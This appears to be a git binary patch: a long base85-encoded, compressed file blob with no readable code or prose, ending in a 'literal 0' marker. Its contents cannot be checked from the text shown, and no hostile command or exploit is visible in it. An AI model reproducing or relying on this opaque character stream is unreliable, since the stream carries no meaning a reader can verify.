zPEB*HxTQG(*x(H$!|jnIAp9$CYKS#>NUSSO_E0n$XP~Ccu8&2lqD_g#5_q5m^P8GV zFDR^y)`Gt#@a+$HHQdCyk4|%K}irvE$Ub{y`{3!s0V{1UOU_RX)Q)e(NZ%S zTFPp@?NZZpHF}gfmYmU$ux1o7f!h3*Si{_CT|<+%yRfvHa`b*rAsSs6Z7M5`)zo>Y z+Av*TUb3rku?=Z<57!Lz^H^L*T~J?JQ@_;gzD_x)CyxdPoiR5*0eVJLOMRSI7+nfi zG}bhEeTCWt=;CIyiVE*wNNjd}c~hA;goI1V8w|BX=SRJP6If||6Drl}eF zg{t}F^7uuLIi>%AL8_P&U2!A@U6O@RK}%B;#*0M5hPMB-=n8LLXi9NYba|ZJLT_Px z1`mBM5^U zFI-Z(Ji4I1xu&Y#2;7{8(u#xxN|Yq#PXHIz)x`4W&GZ;7G{m1AI^hHZA-@mPg|WW{-9;$0=dR5`l3TP8sox z0OJ^E$D&Q8v4*CSSZPxN-5&B0gpDzpJ}A-o(dKA$X}mRFdYo>KoAE*%Gvm>?F_z`W z4X*@cJB(MM8t9A$b#33+fTnKMIX@JdV@l#fn5LFubDBvgT$M+!OP^r{P53beS>=W zi~L~b8L|Umkw1!ghU!32UncI3|p25UIsXfwrml=2666DcW?>bGJSFqpon*CBK>xV*DK;rHSt)j zRuh{vad*7r0!{plmfWJ$PSwPjObLUoR>XdqxJ66qGQVd@!p~>5Q=YGQXyJVgoQMM#2uP=wl4E5Mck^1*J;TLMZ8E8x6p18 zzDh;>u_j)tiMpBOYvL-c_8cWSR1-fPtkf=4#8gcjrh_m~5&upHL=dKGwZ)3~Crx}` z`#D9bX=02iQQ1C4T&9WlYHNEa z;u)IwwpJTb#N#wESrfG@M`>a^Q=-fPO7c7M3qObGGKVQ*yCyEzl7kiT2~8ZNi31h! z4o!S1tjg4q8#Hm+AVut}Bx^PC6fGH4#Ce*ymMP(iu9b3*h$mIfdF3%pyi5~yecq~x!fs)0l9Iek6YpY55Vb*7nt0McMNC(c zr)c7M9fTA`9IJ_=HBlQB)Wk2f+Hch<@-sRhf>1*?VbGU~_=+Z8J3tW+D&j+$I6|w{ z#2Yp73QhdGl3b;U-yN;gYGRotF4B_kD#=1k{6sNL|ePkridT0 zBoTzyb(wn<@p(;LrHKzK;{BS~>E}*Gyj~Nd@sby6;(G1M14{B-P5i9CiqP*AF;5d0 zYF9LIh$h~tiT5hW6iu9?%e-F^50GC3;TA2qLlK|V#QU^C+S+?HahR6et|YJ4#734b z8rU{PY|+GT`YB?oA}-Rz$F$n5ig7k=*2#C3}JF5@DI z6SdlvinvD;lXdu76!9)iJgA9vinvJ=FVcS2C}N`~uG5lB6|qDUKRHT8s8$iDXyUcn z+9pNptBJd`T5avO+#qZ974?o_>NqL`(2Xv>Lxex8av)>xKn4RupYa8a5JS{1EM!uzSr< zZuIqBI~EFy_7v{qt02(Yjm{!q8yB<|t$939v@x@2)7 z&RBBCP-p1vyDRq;w)+@Cnk_8uc&N!;`4?_Kk&4@(h4_ehvZ_2tXbKU?F=tM(7S9bO$#q_y8^(dWc0l%s*&%r$7&@ z;%cZ`bI5K<7d_&@HG-O4+c)e)6AIRR5IE1y7sC01sc2J=EJ|Sbu1&{gAcx9b z^JI{kWZ#;Dcn|vrYM#XnA*ku~y-@Qaa&c;sg`ZD90lTmrc{&UqDH}6n;%39(VPhN< z9UOrfSUkh{@0|OhpZhzHshlu);-ESH*{Kdj9ECi*`X8I^ka#A5b}PX% zKRg@ye`i9F^YHFJJ~e}3@l>>q)Bn~)q9aZhihKO5%aYSy60|$b;+aq6FuFU8=5qpp zc|6{JY|b0f{9fl>(?^ahuOEdP?c6NKF(-k&u9E%}CMo?V&anAma*VrOC7v7;U!Mu5 z$T)1C7Ut5|4rV3f%SCIUnYqoG#O)JWdb){WE4dr@?r< z>Vy+a-{6C8ISjcY(FrGz`LCNDlW5KlX2^Klam|=9>(6oIhgmb76Sg@E}wz95HJN!R`FzP&^hD-bG%x>%$v~2llJVA?<)4NI<{xze5dS%7yZ+HvkUfyRnE1yq+&^YI ziAA^;^j}G$|1BmrF_|1l3GkT!3Va*|rZVlX!k?slLg>fPnA~p_IRdFK3ImfDP;o0P zO9>T|{W_SG(zlGse2`L(iZS^KN>1sw1<61uH1A9O;yQ?=^+zvD{jv_QmG&tFQ@^>N zENKlWDD_*WgK4wSb5g%!I+XSrqL=zT)8Vu`5vSC{Opi=|5+$WtHZ$YXN25=r+9ESG zeGI~s>Jyo~^uZ`IHA!TO(r<>_smUT!oZd{uDI&8d{rOa60`_a*UXor;nRNS29IDel zqg~x?8r+yZjfMq9CYJsIGnw{{psYyWK$#qSGBT^vucZZj?Agd%ntl%p4cYs_uqM5O zh4#0w8IwEcc+g4-Yy*}OppNcrBlMuhbR>x0ii|+JL9IZutc=AN7kiGU9n);$ zJ$JI4JSRPnamW|xl)&$yBy}=af+wNKw98q1@N(33+Io>(gK(y85Xql`lztR#>V7-~ zmSgW_r7orHd5}%-N5nr0p|ID#11|p}{INIQ2sDF9|HDvVU&*CHGMMz!Eql}Nkx%_C zLFWB0pl#V#J z<8LNg%;l62f27zeWaX4)`xjdU>&^I^eUE0NkmcV^zi#9ploH@7JJ~O329}uRa1|nH z-}EN_rUbagQ|42U{hW0E0r)izz5QDBYCR>;9e=a?<4>0OBlM&MzNAsh81P%h z3bsjPJDF^PBQOKOnrh#E3y`#xXf5`yx}lv|X@8^49c3sckk*Z{{PiZJgK5)P@Sut z_@@N!Qk)&+q>+;SXFjk}$c! zzD%)m{S&95QG3>Kgh`Ymnq21}E9YZ|@!_|Ho<^;w75Qu*I-5%et#Ddw&YA3ckMvY`?Mu9$oUkM{G^j}9UIh>R|`(Hs7p$qo}4uBw~EuLV;XMd$wj+eu^HCXP4Q-6GEC_EuEDT_=ck7 zJB6Y`o+%2^yeC-R-l!1TtJ}yFSyp!`>SZ_a@h7(1aU#-D~k&>MBX9x(6 zW0bRU?!+JaPg4cET6!cU&=YwP@iWOTP6LdJ94h*-mY%B>GHThSl)%YKW}TLy6IRYD zBAs^iv2wV&j{Q7;&7}E5 zIzX?0EjtIG!|OCMe-E&}z>Bmrzglf8C6I!=sQN;(3!_BU=lljb>=zdc_F}n6N=je? z+1ZX`WY-b0a=zt&`_cx%uGUCN2`oWAXBh{MmmSh(>66g0Q|q__8m*kG=*%mB5;{7x zGq)q3{f@z!lnK^X4++-Ix=Fr>ywJ>5j5@88_4juMU>_GuOY`s5vHf1j%+xYYyviAX z*UlE~`*i(HL_X&|_M*SY0Zhh5l*`pGopPDN)q2wH(2~=J7HI$V4xwtjR<#^?A+=je zv8h@)VYcPhUl#0Y{hpM--HQEVvWuEx3N452E$0nJrW2&Cb3d&#@~IM*H6` z5;7yT%v{RUf%G#i=>gt1{`=vaBkI{+sR4AA1Tf( z%2_#A2EqP!KRihDZ_~B&7sWmT1jkj;IO%T|F*E^c%ej}0?fvOOe5)2uLtd1&vGwdI%7SacG11eI|w`gfmt|Rk4OtU|{U&yHCrcwgyl+24>8DVSA7PMCTqYfdn zRhRQH@;Q0EK>FA@iHBskgz3W(7?i*zgC~F~&2MSP{mAElV%eWKB(*@4 zP|4rNo$W?8p0j&^`_s#WqHVgq7E;j|hUYVf)Ny*4dYuytr)xWkoS6IzJL2big^qS@ z%q`Thi@om)rxB~w`*PN?%r6~qyX4P#he7&x2V5aRVfJ8z$SIBfa}?ieS|;IuG{T@cOwJ+%0g0Ds@){FbF1<}a8u|8}i}3nz=X{g_I`RijXM zAH=OtgoBV}$AnP37Am9=**0JoLRRQ{_GH_>MX>HI2~!?LUx>W8fW5zy^#XQ7pZ$zr z&C{&ELO#2lY~qKd_$3xvNwt3aOTl}vSgCD8K9d~XvLwG1ve85ABzq7Lv~qnK|CVZx zQ*2q!)2&Oc}F0hNscnbZ-stIwJG)r!D`J{7L*{LeXU}1pAJIvDUoX5 zB_x76YAY$RTT6)1IP@SJcffu{@NOh2|A!`w%C; z+THD|1n*XDMm6%8Oa`iJ(1ONCb4qk48SU zmD+mAs@p4V75!t4)+L5_SB>z^H#^h*xzKk|`xm9Y%jrm#?Ocg=xb;0veL|Jf5L($H zv+Xy9mXW%$b|9Zg7d|IHJBAf%#~-`5osO{^U0FwGKREinLxyR*7Ra$j3x@I9q9F3w zGx5i{Ng`6>gq;!?OR=wMLLa+Kh_!052^3qQ#aMzB8pP|GkbRZlU82pcChskZ*9yJI z*z~n`2(~t@@>=9GpTQsQ&OnLFb2t}TMAMJ5-xC6s*82$Z+21PWEQ(p7S7~oQI}^_* z()^pX@((~1W5Wm#Bx@SaIsNUE1nVJP=ON@p?UpLm&U-G-y^YW_Y8CqK*7`&h-zQ?$hpGnJk2|WgZ`V-OAaK}WNee4gl>1hzVosb9oQs;! z9t6xDWM|^J4u%3LlM;9X0%FLW0D|z}X=mchL!sez zhY%XCy?O}w?5`+5Nh`#2l0Cxi*_Y1m)b;Wah@u82fgo6&p}EtxPyyS*NPD)BT%nsy zZ{&q!wO7)yY7{TzM%gQc&~9zjJPJ|wOZB8#NCIAWCy(HK9ScJ!Ft4^`*9-Kiqlv3 z6POgY$8UhBxE-HorCxz_&->6rdJM3M_xv5x14a6%9q>CfiI0#nL;imFtje!=KIwN6 z)cN||2}XavN?4xM?;5nDeC<(6b^km55EKRVw7OHA6p>HG zr+-k|vnubm0;eGc!QhMg0i{iam%+a@A&EedDfl^>ZSWlugR3DJe3!|<{TNe%!4FTu z{HwH?gg;siiY^NY+p63+43FZWbQ|%)bfqt+%w;n;^E&=ESEG4pjP-W z<+?L#uFG!Uco`nMI>G4fIIvYZ(A{xhvvfd+`?p-VYRHu1pa>h^wBzPDkl{Gcx@zci zJy2RtC%bLcu=2VJ%NL{z!o5nkm&rom-mtQkO3Rm}+&d3HSDc)1uL)~Z`Htq81(!xF zfJ?o^H-jcYSd4_$kQ=2bi-jThR8cvqy_ZFWKPDFw2J0-zIIdc2JAd$IaVN*vc4^IM&HJv%u(grQZ(jN z4xndI|~h7;?R)X z6D+Wn2a-~UTRa4^Y=1_#ZWOSQO~Zg7rTH5V_n1UBd3F}F-IQ+hZrh%nMTs7Rpl2M2 z8Cl>x5kqm$$y#VyUjji1pj-#&H3(73>}`+e>*&Zz7Pe#)q0ZjJLC!u6C1|?hmfD>Gnji+2HTFegVhN{U#YZ}^VI`Lu1x}=787BD-D@fpzxu*4HZ zQ6o(dZ7dfaqV!~sUHHhBv?9$O6GHO zt#K{QP2+0n%WGRIqT^Ofof4Tcc`Vj%ZCNq4s=fs?X0eW(V8IG+rh_L@SYohe%_x z##rq2nn<9f6M+jg4GwYU>^X%o3uAwz(hbNY`)YQ_vlj(!AxL$;=IBe*MJ~fK?U%t-ieM z7Vc;HeCP)5w>T2McjRW^#CpEvh@~<;bIjc@s>Q#6R)Et$GnV3v#H{90tiD)RgZbue zwa$AO<^st2b;|hVuJsFdo)`JtDif}rj<;;oTDkFSnz~-5a;;n(nLRHuF){&*I98xn zL_B7@-ji#tsaK9MDVC6Qo8t;xfkmCoSOZop30YG=h1`+ahK9y6tWfDGfd;EZe@o^S zoEn**f2I{-7e&Wo7xi${1MxbSSaFl3oR4Meqmi;wE`W*mjF(#DsvGK}|#BpYv%iiXa8K;hmt|;X~YtHEPI;JZ)$K2S0z{aZWq$)C1p+by>wa z#q#V6noFx>y`mlROk-7uwSnEd5gky^i{K)rC55LK=NFt>c!o#7^)ZGPxt4Sot;=IU zgq@8&$1Pbhd?IC{!Kj}w-- z|P zE4M`vxq2|Iy)fG3{oICAM`tu7SW!Ta_66Q`?jz1n;B9dnWwrfS=GZysl-3*PVSLH} zZP)w35|-1&#{!IZi>t88cwQEB12wFWCNJ56iKWUmQvP1)=#ov~x!Nj$7LI@( z2Ri#PTCwxGZ=|KZr8!zL(ZkpEYV8RZj+f(2fmPa6Rc8wzC(=+`5oxHbM2(W! z^L+z`K%Dh>F4mW6-Y}tc%jMnmiUm$QCrtz+l2gQ$&s3`x=ZvuUgR^&HlM;+RX3%vZ z74aVzal~=%!P!&<-?`M`BHOMu(^+jUP@Hwdr$Y2cK`L>P5VLr-!0R%%1~DqjuMM#3 zaUaIHo^mTp^uY$!3R|E@S?62kkw{}{#RS9*2ecj@COL=6&f!>G=kcbGyBx=9`7)=6 za>Oqf>Gko&iS@L3r%j)OYe|p1u2`oC`4YF&xUC3&f<~>nW_&({*YIwOc$#&8eF7s( z{KYR?yVLX&eS3*#Jx`%-^}TdK|#!5Q-l^XGbsmnW7)pR%CdBaNE)#sIDo49CWk&kf;|J}yK zoku%ED1K(SdY`^V`Ul-m*0;-#&I^gz2|n7S8aKa9;Jg5hMvH;PXdS!|alXle0Y$8c z4_A0u&#M>l8wvLSoADJCw|fyWGRli&(dF=~sHIWn%>xESNK|a8Y4_RgVvdd3;d| z6o{%$a6QZB#;XVs6uK5>O+}W+O7S%%HB`H+g%&3G_z5cnebG}ku|#8q)4b6sJ>2?I zyfE&|RPJ%vBNMmOg8JfEv-3d)#waF2FZ`cBV{Yep(iy3}-(YY%3j5@>H80^JxYlw8 z7JZhPFvVkwwqKt$+}d2R!0+$M8eCg6xW4w_W_7~jSrh`T7N<*3aa1UNX1hgo&lR6V zs$|`|$&?X&S~TLYr*onWpc#AE)yIQyO~qT~Z1B!W&b+!}n}{FkI1+JWi2K>&G-ix{ z3BR!-;)vjPwYHWM9{pLW(uPW0Obfd_#*20;zPzK(CF<&6lJ{bVLFv3w^Zvl13y!sM zPIT%=HHxczW9-RKv}PK<66adgiZ>yTxcPC(vO>^>b*)Yf2w{T(~AeJ)g#=9llJ2yvFe7Zo9egHt*ytq5yjulTBIKPxX6Ay zwoLSXr61pkwu-|pPNgUQd%L9gE%6vP0Y4sDCD{CULX~Lqa{^m}&2Qm}NP^98Wyhhs z`=4Zea@Zu`K?Z8KGj8f}7WoqK^WlP>AU=Zx9v>e*hvRoFLgD=+9zH#cNb$+KvyGAXNCTfK@$m+}MB-Boe5J(m4E*O3FEa3d zk$ACzKMOq3_uOBU{EG~JPW`99OAI^-kC%v78+b_KjRrnN;wudNREe)PaDMqEQLnyO z@~=1euaWp>1K%O>tp@&d7y9>0{#JwkD~WG2@E&+vmdMU<7x+ZrjN5iY&s>S`H1KkX z?>6vt65ng!+a%s*;EzgtpMkeYyxqY08eSs5{CFlv`#TJNzUxT*pn?BL;)e`;p~Tf> zTGe0bB(A2OD*OtG2j_=H$5QyM5?3?f75<3C!v=pFaQ1g|a?3lCf26_xmBiHyN~J#& z&oAlkRD*xG#PbaNWZ;S7d3qOkRO%@*^jy*f|5nLgZ1CSDaW#`q*}qHTOAP+kBwlUc z2PNKU;C#~0IH);vO8-QOuQvFLB);Cj)%VIb8~6p1f2)E2RN}1$uD)x(&A|DteWLj9 zmwL7v{CwAve(f~yUT~1@XU$Y+d>89fAvp+m5d4jDLY_mltl_|^XSbmzU*dZWe38W4 z41Br7_Zc`}yrlki1HTJ+B7b)Qr=9A0L)rO9si(ux^RC1X8n_=by;$xc10N}It0XK` zLtJc}5lMbE*IMC=B_1^R>m(jB@GB)AHt^deKGMK<0nd~+xDPK#{_zGsmq(zTQw=-? zGyRC?8Tc@Xt7(&CEjS@_W;jyJ1Wz=CI1S8 zzg^<14g4#KuQzbMWtm9-F~I5XW`jRp;#&=Tfy7%4e5u5@8Tcg<-)`W)koZmm-y!kc z2L6)7_Zs-8z%vuXEfw=I=~tV<&lN?8?=$cT5^p!~1rqNt@J5LrH1Ks2KV;y)khprc zMYXs4C9Wm}EBtARtM@7u-XU@I-iyKyOI*E0q43`L=|X?iyT%HiAo1~X+*5dw#MKLL z3jeXh^9=qK5?3!8EB-AKFE;q^lDK+ZP4WK`cxHlnd{go-G4y;T@oEE)zm*#iH+>^B z&N?lB?rhvOnl)$M^!z!Ic{6906rK?|BY!#`?RxHc{KH!(iEl~s4hU|z7!QNvpFq3r zwa3q1Inr&E$Pu3o=w~GHPmIOwqgwMr#htgC6Wun(lhv5KgWmNw(;2DwkF`^AqPwrK zA5U10_{nVfAOMl{)QC4K;v2e&ANZ>KvhrTEm+_$i{miG!JErCxWzoRTtcg`8lyIKq8&8kXu)WWI zn#HZ*ygcqXp!AK^h%=QF=}0jJ8kn2gcsvim-&TZy_u?8XvK%n(yZ#SLNg;Mw^sa@P(qn#SXO zcPS(%m=xgnrGK{><14LO#YQx3bF z!IEe~m-{)D_|~*Hn$CBky_nkq*Kp1$1f5SKx)zDQr_Dx;c@f@o2Q<6p)ws)aO`meZ zdI;%qI;DFcO|;^%6Hat?qdR%$AGpipKuWD10a%`JLe)R|s63ma`E=F!Hh9;;Wc=0K zO1EL16TQ3-r^Hh~H=}IqO_(r&Q=Z3q0&o;cCxj!}T zHnQuvB%;fC9&@?n+|T?tJ|!ISU14`knRTl%pAaJGd~EJ!ahDW7cUVlQ;z(#tIo6}2 z^Sn}g58fLRcOmZfE2bEEOh`QKt#i5#td3uu-&G~v?w4pbNW?W)*tCmt1w9yMVa1}* z;z6A-p$*iPVvY;HR^PR^tQRpnb}`9;rpuUmP1gf~dg$LQrml5eQs=dx$5;jp2tjMJ|kB+5AnZb46NiYv16hWdI;ck9}@gmcIlI}RP5 zvbDX&Ts*e{y1~XzXQxhj>QzcKZY_SE5EEV_lRNH#v@SDo$VBZWJ|o9Ze%31F)C{+8 ztd#_#7Q+%h$wCJ!&Rq9U;EAuJTh8`!7ffBwWr}M6a^}W%U9UPSVgk5Z9euQ{+~y1F zFaZO{Sd(+CRw+!D&aE!R^7*+H7u18zIpUH#mlQRd#hr6tfeYa+EiMPQ=!V%)K@mB zbZJ=`m+O~|cz20Pg%C_n@bmaT3=MR`TlkxjOcjjHbL4w}v5sTQ<6UweGPxZpZI>Zd8LudHQ)ApU-j|i=Dbv`Dz_y zbyVvnlb0KHxVK}G;Tp$EUOl&0$DvX{*{}H2aXRF=X0pnw=lkk7UKVEBuWUFS3DT&C zn_8Dy9o0I{ET5rJ@mKyY1V$5aTVHHyzJNNK4hJQlI-ZTZM}DN#BafNJO&BwNrBYt` zujU`9<1XBXa&O9hh1DQIol0KKQ&7hz6{9?w^3A~MyQ&{GpP}_MM_`FGm@($2DPbw7Tyly6rAsX@spg;yZK^2aMc9+muP1DEay z8IrESt}r+2BeHx`ugQB`7xM2*`7iJmv3oP+@99Fmy}^;1rYcq{G36iaLVlne-TE5w zGv)V6dDG9SElz>obkTm59v%%7h2Yfnj(i~K9Jxpd7CzAJNA*8EX3%x-a5{hUwmQdj dOkr?us$7NjLc(xSkWRV7;doIo%A+a&zW`(^mG1xm literal 0 HcmV?d00001